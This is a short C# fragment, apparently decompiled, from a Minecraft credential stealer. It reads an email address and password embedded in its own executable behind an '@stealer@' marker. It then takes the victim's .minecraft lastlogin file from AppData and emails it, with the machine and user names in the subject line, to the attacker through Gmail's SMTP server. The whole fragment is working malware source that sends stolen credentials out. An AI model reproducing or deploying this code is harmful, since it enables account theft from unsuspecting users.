FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
this.text1 = Strings.Space((int) FileSystem.LOF(1));
this.text2 = Strings.Space((int) FileSystem.LOF(1));
FileSystem.FileGet(1, ref this.text1, -1L, false);
FileSystem.FileGet(1, ref this.text2, -1L, false);
FileSystem.FileClose(new int[] { 1 });
this.options = Strings.Split(this.text1, "@stealer@", -1, CompareMethod.Binary);
this.TextBox2.Text = this.options[1];
this.TextBox3.Text = this.options[2];
MailMessage message = new MailMessage {
Subject = "You got a new login from: " + Environment.MachineName + " : " + Environment.UserName
};
message.To.Add(this.TextBox2.Text);
Attachment item = new Attachment(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\.minecraft\lastlogin");
message.Attachments.Add(item);
message.From = new MailAddress(this.TextBox2.Text);
message.Body = "Here you go, a new minecraft login!";
new SmtpClient("smtp.gmail.com") { EnableSsl = true, Credentials = new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text), Port = Conversions.ToInteger("587") }.Send(message);